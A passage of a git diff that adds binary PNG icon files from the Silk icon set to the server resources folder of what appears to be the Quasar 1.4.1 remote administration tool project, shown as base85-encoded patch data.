z$YtMx?9VKI<#P?vWl4;(2C}r%>Gaw&UVVOfffyvn3OyrEa&l~WX&F&m?+<#OqiY~^j9wuSWM=zzA_@B9}<+jo_mWWEvr O0000i3lOYrtSl@<#7b-w zf}j{s!5HvocfT|9z82@(O@vrwU^wRt=bd>tXQpGD!`Kvuv@XEI8~tgUP2L`{+*)U@I@ zrVtr5X14??iAF(=0+k>q)v`Scm$9&=i`*knBsnaUVL1>ti*O1xfzmiD$%Md-h*6M( z@*iB)icu3eU424Ok{kp%Y!1dvp%f0`ac9vcupx^$vU0xuKpJcBvej0UYk%)EV>mIx2hV}QRf#LX^Uh(%`7hZ~|KEf#uQ31s002ovPDHLkV1hgQ{`mj^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick.png new file mode 100755 index 0000000000000000000000000000000000000000..97a152c918ee076de30a64f25736590f31cce348 GIT binary patch literal 399 zcmV;A0dW3_P)Zj=Zuv-~07_MF6ZUbZ+iVGQQJ%F*6S!B4T->)k~5jY4u)CMnn{`ve22`JFC_- zWm>VqZ$gOQZ&lpn&>O_6)K00fSy979IEB*s*VwLm7o&w&zPD`S*=yqw{N}q z@Meuwg_cC|>*g2(bg&kY_d6GwWzEcG7^g`w{d%5^!+x~JM t+SguCA_|o12}TolJBzrKP2pmzS27 zmZ71cv$L~Xdq}ghvz?utn3$NEnVFiJnyIO&s;a81tE)F_88>Sgm6esLsi~%>rm3l^ zo12@gtgNDk zqJE3IVvM|Hjk;uyyK0ZTXOyUknyinaqN1atqpPc{tgNiAuCB4Mv9Z&TvDT8Z(v`H- zm9@3Cw$z-vySu%;y}rJ_z`(%4!NJ19!o$PE#KgqK#l^?R$IHvh%*@Qq&CSlv&d<-! z(B`_)(b3Y<($mw^)z#J3*4Ee8*Vx$D+S=ON+uPmU-QM2b-{0Th;Naom;p5}ugww2>+9_7?C$RF@bK{Q@$vHV^7Hfa_4W1p`}_R-{Qdp?|NsBF3A?)h z001d;QchC<1{M|?D@J97hKP)xrKYL7zQo(#YGn)#JEP|65N1$@Y0~fD1m~h z^g?I)dyWFYMgx*G2QUD7atA!l9H6oLCzk^vnd?bQi8CDC!|KKHbuom8Sa+_8nAb^a zUB8~2#2lYyu}*G*=g+Eak4-Tua@GAlZIeQIzP4Bm>Ay;v$(D-up-WxWmMgNAgWv)To z?qd;U8~=9xR3{1mf>8NsCrbZf1pol;QMg@Z|CR-CUs959u>b%707*qoM6N<$f^a&T AIsgCw literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..3a8c373482e071726fcf2e8967eb3c762b224cbe GIT binary patch literal 745 zcmVk(*8wLyDN6qc8lhZhzWexdK7n$>DOH&Eb@W1hKn8Q^d@kW41g?RL@Wbg;d>&1>|H z_R!v=L|lNWxBqtA-QC5~(h_2^7>CVfq3AG<**(V(o?;pYD#p|9T1vg`zE3EEYGZ7mG!H z3=*MUPy!O*&Ws$JzJ?#pH|Ql-(faThp{Xl)KQ;bEU}HMXF2|(VY|c=3_xAQstJQcj zNr2+J?w!YXM#j5wVCD=kJBr$?>u}u~${$}zlgTt}G#X#B*&b|eZgLS4qXw?sl%p51 z|1;Ku7bEOAL%kFKf?lt`%;sxhBkIxJ@OV786E00000NkvXXu0mjf_hDCw literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..eb06df3bb3e38de2faf51d80a05e8254d13fb18e GIT binary patch literal 775 zcmV+i1Ni)jP)^9OfoSNCh6N{UH*G>^7ov@7G7j2))Sp-vPxR_~|#}oBaGXXEK?XK|Y^H zHk(B1f~_(T2#W< zvaL<2kX^Wk+SW9-V%M=b+k-`2ClPnyl}cXV$lX>%QAD9oKqix6;&?ocXf%qjM~iIW z4r(PA#H9|DR@zYr^SQ^mz+r?4uyTP%4!Uj$G3|@^f^JjEqDb4hL3OR}pcKA@uPUsqI85-ih+cW#mYc zi0T}yV>}fm2znF>#s1x2Qlrr{snu#3KhP}(-}k}y;R(|2Hi+?dY|h`tqN){Y<$y?p zaw0sq=UXrho&gF8gkM~M(ASI^Qdy9lgzj1YCn7%n-^X;n>!?(5DN%7hg_ zql4Wy8ok7Z25lz}lpb~*ktPRPq%ZQ*4qNZB!+VJ-egn1}Am_E)CmFH^{)}n~c zK%gbmsn_!1fEEZw6+o5S1JRT2pT}L{dCN-wn+1Y@JEnE)< zgQ(SNU~FK;u)4a6P$;y=E9MQXRx28f2FE&`PLxWeD7KYm7P(xG6eL6jzFa62ZpC7;FUe$*GgI4yjV!E^2Ak_Q^sTS#j*M|* z9><68Ld(BsZ2T;YumYEaZ4biXu$#^Au(;hF@H?HwXYiiB0NI>?t``3GQZPe0*pFgX zL?ID=aCT&2RA_xnV`F2dJo<-lu=~V7`$>hd&M~Pf7NQyShk77L4nVnx_fPJx8M=O6 z*zYyYJsK?ZUYqbqVjf1bOg-AQD?(BND5jJ6{Bks6!ak$9rOJzsLz{-qdQFDzgt3#s cjW*i<0Fgc1D3~yzp{gHSP{di*#8D&?(h#;bi2r7yUe@M_9Z^R^1th67Ma+}U=ey(q{ z%~>)Q;cRVlbJ5&n%2W)U;$S+(K9zyBt*3JiDKhoI1BdsV_j#W8ea|5PNIG0D*E5U7 z66xyd`pdxfEVk3#Z2_~{oMA8+{vd6!m|m|xvLnHN#V}P%QJ}ZC7h_{%NTpIpCX*N) z9py20#_q7Y8;&>uWnbT_HZwDW?(S{`gFz0H$;4x6j@CIrPfw4Q0-;cdD>8V!URbSG z=yW;`wr4TsCXq;BWMl*^N3B-t2~|o=OiaM<_ahJpa7Ct`zBU{U4GqERbi!`8L#0wB z2(>4zt*v2UVF6Q9Q<$Ef2CWa1larf{*nVJO0ORB1u-R-J!^6X9Z*P}~(P-oZD=RBl zUS7uR>@2tI^Z7P=z*NiL=b=!07GJ;F;BYv&+qSkgi8YWDNRou5r6t5-F+?H}uF6Vt zyWL!|xHA_|Ew^z?c?$jZJ}#hCDkVZ^`#Thr?l%iM7ujJ_6Bn65+CbO^3N2U=TO*NG^KHr9~2xj9}2BVoNL)#c(-Kn}D29Z&q=YesW_ z1q5#+N<j%go#9EE}){AAsopP$F#;vyc>dRg+DzH&5tDMkI~BGgzO zpw?OprK=8iJM(bj2}y1~Nv&3!q0wmS>1=;_JRaOpord8@GsN$&Aq+M`<9R_z9zo%% zMUi*~S=A(Vw36g(`wJZ%9oclg;tfR>uC^RQep3c6y*z+>+KZ4oYfzw*A+wr94_A^i zJAS4O&<@KK3WZ%Rm%C}Ru4UKliQgCUky%9|H2LJNzi~HE%kkq?dvUOmWNnTA1HB~u UMVP_&o&W#<07*qoM6N<$f>=0SnE(I) literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_link.png new file mode 100755 index 0000000000000000000000000000000000000000..9ebf013a23a56653655a736a7e149deb7365ea03 GIT binary patch literal 764 zcmV&SR3v>A``^efOSo-hEdApp;^Jd;9y!%1UfzX6Bh- z%-mbG|0Na{7Ruai_Y+DEb1s+b!*9k%Q!whMxjtZKA*?o;i1g&jy0@( zaU=-@d-h+o%gal6JRXEXA&L3`d2 z%jIxzZ~*p9O-;EJp_Ds0If38rM<5W8ic~K>FOK&2_p!CLg^i63OioVb6k$)zWHLx3 z5;!|M!}<9+#QSi1dRlbEcxPt^;cysUuU8@%3}RwpLRIGG<|IKnoyP6$Eh3SKw7a*r zSDXP=IYc&YZf;7@?fCe($^l9ORaJ3wbAx0uiC8QqRr$2t-Cfy8%XCI3B%pxJW>XdM zw~zPt_s}#A@pxQ5Ly)4szaMtH9lgE1SXx@b+S(fW`ub$fYPE8J7#bSNDzme*Ub07{ zQKV8SjEs!%0@v5ql8ggm!@$6Rbi^E8vBqpRM-}l+@5OSMrl+TWj*gC^qoV@>u{fQb zov5v?g~?>X@bEC&+uLPaQ&Ypn-y~^mZA}+f(&2EFH8eE%dU|@ENpN*_1-)L6_4Rc* zFuq@`IjX9vp1QiaK9ZojyZhnQURP99d=u;%37VRkpwsD4U0sd3x;hEQB&e^i|3QN0 z=H|Os1fRqaw!?#igLmS4HE!G3*ce(`TF}wd|HNMlZ|>D)M67h? zOIjz3DJbk0=97q(mSBd~-ilc0Oupt^z$#N6O&at_s8u-PL@9M^gQuq(+UH^IB$&*DHP!HzH+vkEzC?S52tN1$mKhziPkOR=y$ zhl#aO1Xly_M?EkN>tM6E5T&Ht4dh{0oQr6Q1b3J=sM^ACOsvD=TSP81#0oTC1v|Df zgpp-GhL(KrE_8t&(jeFR1W%(osQ12tvSpHp_}~HR_8G{VUO;FILQv(P-b)es=)ZlJM#c>{Wx-rgY3D#Ol9rJl39A<60Xo5cneo(9g5a4q>ayzV-7%Ue2}0_ z&TIets{Cl`n(nefrZ+9F8|N&Kp}^StU2b+&pVj;XvgEdBL3Wlp00000NkvXXu0mjf DwZ3{L literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/briefcase.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/briefcase.png new file mode 100755 index 0000000000000000000000000000000000000000..05c564912953467ae888192196aeca2f6db0a406 GIT binary patch literal 793 zcmV+!1LpjRP)wCLzo!u5vjB%3bO!v(<`_0eVUfez^@RtZWvFJys zmGdnDZpkw!t9(+21YEn-ihl~B1qBIC$}CuB14>X1 zU~*Un>6SGZ3Y^8*Q&uVSbD7}5T-49a>2vqn$7#MU@h6((L#!%+= zz%VT|T?$}o@{26(rTuQtd|!BWdNe#6g6~WN^yIoCkxFeKNq#aJCqJG$+l06391?5G z7z>TBP=XG7ma%A``8El+=7!znQNd|bAZ=Jk8A7QPMip0;lwx{5q%cngmVeuX$bNi! zqrCTYUHx_Eeh+kB0G;YJRksPqvt2K8IKWmHFg!IfMBoOAQ&Z@^bIi5NVcR<~{)uxg zY|Ik&{88-~C*A1W?HJn{l#TYlO?I~A&~eSM?)n~-RV0se6$@AD0E_GXV`XdVUHN0T~Y^HSDgA^X!&oW$jpM5h9)mbXmSy~HD zw(w^mE;n9P!K0&YL?RJfsH;OT7({E!J;dI5QDC=imt=c(^T;}l=)l&CLvanNo7&*_ z`=M!?3Q8mr7#tkL(Cg>WG9ie(_q)AF`O?+Z)u!uu3$ZvUnUEhN9WYI^y}!Rdoge!L XLaEPO;P?1x00000NkvXXu0mjfUe98= literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug.png new file mode 100755 index 0000000000000000000000000000000000000000..2d5fb90ec6ee08f53947e0266a87b03f75893446 GIT binary patch literal 774 zcmV+h1Nr=kP) zlgUq0Q544c8(ae&UR$8ps&snq6^bPY3v3xAmMW74Di$h~GCH6E3TaYs2#6A<7K*gC z777H71_Wa;(dfp+g-drPCSWu)#PInZi72LJ;o?i~$-U=y&UbQ89Dul3%3P+Axkzc* zbH-y;QF=hR{qLItf%ci2_&e5wNo0gnVatG?ul6Zw=o$I9Ljfn*ic3`U?>IfEim3g{ zujU&$-hy6wn;w(xme|zJm;lWJxtTFfM)q0`kX!Vu0+d${$}LCddK1<^htTe-fUYL3 zB`SdNsZD>RgvLj1<^@h6_+cDRK2Brcr2~>%$*5S)hyV33PV^teac3%|4lz@8p4?)5 z?t5o^?q+%^%)Yygo~I^U4VR!bTnWuE35hcWrfCDR3q+sxJ79e7Fg`&)RCqLA^2^y^ z0laVfadW90_Fz8Brm|r47sB^u1VgI>kanj)Z4`zMSfHlm8>CwXa$JVM`$2RrmZB-3 zN10m-!;BvH*Br3V8t`DH7m`jf#2upVDXl{5ff18_pzCPK1Zu$$CKKvd8FGeFf)+K<|x33pc7P&S#3GZT4mEw;nr(Ze*F z3&*?-4U-lm*#tber5 z%S_ceqB`b3ko6r~BbvDwdohTvP(3a(pq{x#T$yQsu#OKwEe}KuH^Mh@nxg_(Nw136 zq#a^3xNBke)In+!?qk3%4wB69{pF`Tzg`07*qoM6N<$ Eg55P&8UO$Q literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_add.png new file mode 100755 index 0000000000000000000000000000000000000000..ced78174740958c5e11583682dac645197c09e78 GIT binary patch literal 806 zcmV+>1KIqEP)`=&gfiynuLKNZXG^E&{Pmo=c@q3lv(pO2HUs^S=b~RK*#7&0iej;CY0$=&!}s zlPnn>f-S)ydndO_sP#!8nj+R?CkfAP%XVTzFwO9TP1xb;uc#KsVI@l}Q45e-dhki*R$I z2-9muy!q^gVO|BPfeBvOF`d^nvNfldX*DM?__P--&T^EHL~V~MQP7!$$#>nDeBT4g zbPGxt7D_0BtwZmh)yP<8H860+R0_4Z46G^!QX3=jcx?dt&Gptu5gh%A!qs$BNJZe! zpi8Gf>I6~l|Lc}p0gYR}o2;3W`|jYN2NngaMkxJ}tqVn$`{Hh8DpL5+419Tj?8J72 k;<$%Q*reM26FaHB-E4&O1t4_>`E~n3&`B&r=tE$5)r`S6ZK!@$4#rInBo9QPYpNc{st)6*$_vbLI@z_C zSR{3BXeV`A19V(;ytsw3Aqk31@hC8*Ku}MBq4I>JO^o1Z+S?5Vq|Q}RCwLFoT7iz3 zKW&JH?s*lina@IQh(c1U5D8r|=$vjq-B>l4rJmp?xEZ%d;I{cp5*ikWW)}1>Yf;>v z2$?<-Ntz&t+aqyzyd3flG4734fKf~bT}fN=EO3)<@qlP#SrR&9p&pSUw@ZY?79rxa zCvj)26w=lhq&9_-04mTGG>KIe`^(6|AoZvD_iUbT(t{@o}nj%QdnpkBqzIJEG}nEv_4LaGnGzdzg#fm;?Ah z7NbT4DE0#tPWXHy5JSO~_y4?qW)XdysifnQCKGaPHkf(zb=uaM9&8@pN)BQ~NVRVJ ziM-@Ajl0x&&Gmv4NS)|DvG36p%j5+3oflZQ*>*VN!O+9#d&< zYo8QOm{;z_yR{l;}?JZ=-4>sE5JZmeq?fn90A$P1xW-&(q O0000{*+c^G!iQ-|(6%~LCN zA@Y!iBF(UtNGXJ#^nk?NWwKXJ&2s67_xAd{w%2Q~yc~D9jDi0}CJUZQwS#(;Yq$^K=%m$}|b|DLo2FO9X^c3YQci2rS?u zyuuA3MgEA&(tkZW6u-3e?k=VtilH35gP#*!7%T}^5nj&k8cmWIlP=lzD0`HFh;m1y z)Cc2yX+||%ZhL~ zB+&>;()&0&7=sm6Hx@_zp?d3s`4_Pmm)U%JA~|BZw#2^;)U#8xwQ6U;juxkr+cDJ_ z^+)Un)ucDRKaay`uI>D*bW8K~7SslGE=A1JSj0Hmkm!Z(B@KzY+=m*^F0Uv%p&A$A z$6H^_ttJ`CwNnnKQ~Ng5sM%}bDIL*JLoA*(X5oF0Cl<$jFw-B6*HXdfVF|_f=MFT9 zsx&)begeaC546Yb#^Y;_=twaCFp$bN+Vqe#iNql0@=~`HOFh}>Nfw|gaL+<>j0x+% zpGlMOq_tEj{s))aQXQ9DCAJ-PQO1n_iPiH94U>E_m{*tA00000NkvXXu0mjf-H(&g literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_error.png new file mode 100755 index 0000000000000000000000000000000000000000..c4e8c28096ae0acb84b63a7b51ed824b8d3fc62d GIT binary patch literal 841 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 N002ovPDHLkV1oK8Ta5q! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_error.png new file mode 100755 index 0000000000000000000000000000000000000000..a342eefc68fc3afc61b30ceaec06c47d306904f0 GIT binary patch literal 653 zcmV;80&@L{P)@1)Y*u3o>2#VzB0*hU9nol%SS;q-oY_-I%jI%JA`t)z!KzAc zZ!fA!JRUDnPy{f>05Cqk@iMDm1w;jFp|9QGy6*o0p68*e96h+Qt&tGg9bjUq5>dg( zhJs2vO}!l>*l`8Nadrj(9IMUzyV*ME(qls59 z5P`}p;(i7d?4NfupT5qT>)n~W+a1UQt|hJpvA!4kORE@LdXCr}EfpULg^wWF8C2Hk zI@gMLU)j4iMY!Wa{ddpY$^)#i1Fq-kLVBLHtTNyvw+H}2qkS)f` z?(TK-0aaaIq*5uh)?$odX*R}?$z(_*5=0^qVzC&Vot=TDJ*6u(-}i||qX4XgRh9Pk zc2t#kJie-eRe&)DfOq4?n^^@bASzf3mkt?R*WDQKJP%dnXx;p}jfCp00m<}ELU zPO|5~w(4>&YX>5N5swQkU04;YSOn!qc9z2pr^$JR;K=uZ?2-Gy@G>AG2ZLoLq_SVw zqY)hAVO5y%Dy!j5`ZXegV;qb% z)Q0v^7urvKRg|)l3U=?<%jj%^p>K)#yvOlU0BdZIHKG%_@xXR3L_Gb9ym5Fo+>0k3 zj&X_Av~VhVkxw&&^iTF{ZDs4&(B09oBJjNYAwU4gV;N_X2py}Q>qFrQfnWtgUxzs6 zb_Bw6wddD-rp+RHFR*B(q_QA3`s;yCE#?0MOlp8%R|7kz00000NkvXXu0mjfed04y literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_key.png new file mode 100755 index 0000000000000000000000000000000000000000..8b79e30ed9ecc6b675b5a097e75c2bdbfa6d1e56 GIT binary patch literal 705 zcmV;y0zUnTP)Hq$Cs}SPFq*^i6iInN3M=Jz}^!yqE;r7tu#N~*Zc9^0GN z)|7EeL=ux=FeqAUlu~SuN-4tOFe4))`2BvWs;X#dX|cBVcz0^?c$`2W0KiUIL}+eq zMno7I8cM1l2~bJ_@G-P?GA*DD7%^xK=W7*?Y!022)Mhwbq zRiHE&qd9B$a6D^_neNBe54BG`NeKYdmoDzgu7AHGGi!m`%ePtl+VyDcLG^rH=k&WI zz;PTzgio^tXc3eFqoHK=H4R1M?5{aP^zR^PIW+}&<<85&TYX5HA!YIzD@|k6B(_-rI|qroOg#&2 zPKMTQcmX;_ZsuCX`fwn#km0#Ot`@ganK_3)`h)VObBOyMOD{7%u!gmoe_a-@EGXXBXtR n#g?NR)6?O**LtS=Q?2_41-p0PftuMh00000NkvXXu0mjfc@aOR literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/building_link.png new file mode 100755 index 0000000000000000000000000000000000000000..a340629ac968cd8dbcfd651458fe48339c2d199b GIT binary patch literal 668 zcmV;N0%QG&P)6&op&*3N9K@Tao`hUlY4MOlS^~C*LXTc87OyG2#h-Pn~377JF}e`F+?!If#D5r-~8V9-rIp;7+7Yv!eL{Pe+5gf zkNf)z{U%PCt!lMu5JI5qI%bydPN#!XsRWP5gFqmFSS)6m-7#OLO(qlg{eE%24Cd!( zG%9R9pPy4O2jJQG`toyH8DR`U0cudD2zc~B$7nRV8ZaJ@MV6gA{}wh9xV;?Uq$!K6 zI-M%eS$0Yd>}~7NH0^o-U%T$^72}kzSHM5=z_0a9R=*(>P%`a>!4y1sIJsWIIXS~{ zID~XsM5EDw!{I=;-9{u5fz4*a@$n}y%5*yYS5cI=l}hFP1>nue;XSiW!g;PI#+gVY zFc=KbY&KCS6kxa8`TSuvo6%~uk?M5gR z66b6-3$>+U!(sjQ^5E4D13VXi*QFP?Ow{yQtBh{xlQWf}c`U;L3r zAC5q_N1Hr`sgeYM=;V;-)abAEOzNp30JUE=t_qn<23D(8_;^WRja~bG^DcG))(1_z zg=8{m%mRA79>U=;yk0LX77N;}iM3h{k|e?B^TFkEVWS#V)Nf_e!_hJz!RGI-NOYZ?JI_RaHAI;og7fL3{3ZGN}as0000;M1%JuCF`r$lD-2byO~ z!ck<4L*A4KAlEWSI=0;f$ndE)4DQhg@7GQ1^KV?8*uFENeOE&FuB4tlslB^W`gdpb z?@8ZydBVnPlQvzNy5-8$ZCB=8c(w~@{%z)UJAu~mmIV0)Gt|^Hv~=`*`t<4h_wP%( zlnj9quAVNAArhC96BbA&JQ8`5;PS|r`{XHajtz<|6-$Z`hl4RM xP>?k-MO5d{Bcn%uJkks{Z2G)ubI|#V487l&MRhf#W&;gm@O1TaS?83{1OQ;$W+(sv literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_bottom.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_bottom.png new file mode 100755 index 0000000000000000000000000000000000000000..1a28d8250035963143465ead45faaae79de6dcbd GIT binary patch literal 229 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-$B_jGX#(Kw&{<9vg>5sw;c`@i>p z_kaC=>wowE^MCGt=k0FV8~^>E{g3+d|7HJ+|I4@QcRd)^xi$V8^Vx_G`+r6+RSGlL znKt8REw4uuU$^wNG<`ek&pG#xJ(Hh0`*ZlR^+%Epor$llpY=cF-^u@z|Ed2wufXdW aBfwxkOHd_T*GCNK1O`u6KbLh*2~7Ys?Or1Q literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_down.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_down.png new file mode 100755 index 0000000000000000000000000000000000000000..9b23c06d7b4f4689dc8c9fd4e9d4d1f199fe376f GIT binary patch literal 201 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-%M_H=O!(Kw&{<9vg>5sxM-`@i?U z_W%6<>VNmY^FQu?=k0EK8(;qS{{MRQfQxhfe|^4DBSLrMi_=~IrT?G*6aRH>fZ%Fr xHSdzT`JeW`iC!n;=N{%MvhUm!=_W-^hCUIl<$=usRzPbQJYD@<);T3K0RSKzPZ9tC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_top.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_top.png new file mode 100755 index 0000000000000000000000000000000000000000..0ce86d2b2bc8eb047ca749fff00716b15c5bd9a8 GIT binary patch literal 230 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-%s@N{tu(Kvs0!a}YF0}=J!QSUY7M7z;-RJ$7n8*6-IkwdUVS%nn(+HZ=IM>KhySVgJojLZytKsQlJks9 zg>q@PUpbdv;&|+P!{NQ{65)mBh3B(*yP58!PISKz-O48F^~6K0e}RJHfr*NaZ|Z(M akrr=d7xdAvd!`9=1B0ilpUXO@geCyB6I2-h literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_up.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_up.png new file mode 100755 index 0000000000000000000000000000000000000000..24df0f42129c291ddb3dd50c8ba2884dc23a2c43 GIT binary patch literal 201 